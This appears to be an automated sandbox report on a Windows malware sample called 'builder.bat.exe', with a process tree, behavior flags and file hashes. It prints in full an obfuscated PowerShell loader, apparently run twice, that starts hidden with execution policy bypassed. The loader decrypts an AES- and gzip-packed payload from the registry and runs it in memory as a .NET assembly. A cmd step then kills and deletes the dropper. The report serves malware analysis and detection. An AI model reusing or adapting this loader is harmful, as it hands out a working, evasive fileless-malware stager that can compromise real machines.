C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3388).WaitForExit();[System.Threading.Thread]::Sleep(5000); function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5116 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\builder.bat.exe"4⤵PID:5296
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:5312
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- Runs ping.exe
PID:5424 -
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\builder.bat.exe"5⤵
- Kills process with taskkill
PID:5588 -
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\builder.bat.exe"5⤵
- Views/modifies file attributes
PID:5676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3548
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3736
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3892
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3140
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2188
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2696
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:548
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1200
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2772
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3556
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:4032
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3644
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:4728
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
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Filesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
SHA1219aaa1a617b1dfa36f3928bd1020e410666134f
SHA2568caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
SHA512ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
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Filesize
160KB
MD53e2fa187cc14eeafe172a66adcf1163a
SHA1d5cdebdff516745d7f0b22d18698636e3afc36af
SHA256aadb1a27b0c51323372fe39d263a90916fd61a5ac381cd73b02c6b8fad82542a
SHA512a57c4139e8ac7ad1bc9a42397dd0e71ed36b8c3588fe21656bb1e26b4c79c2f2c6235f623acc9a9baa9c6d2851eac9432e7066c785d65e4f2dbed04203f4d905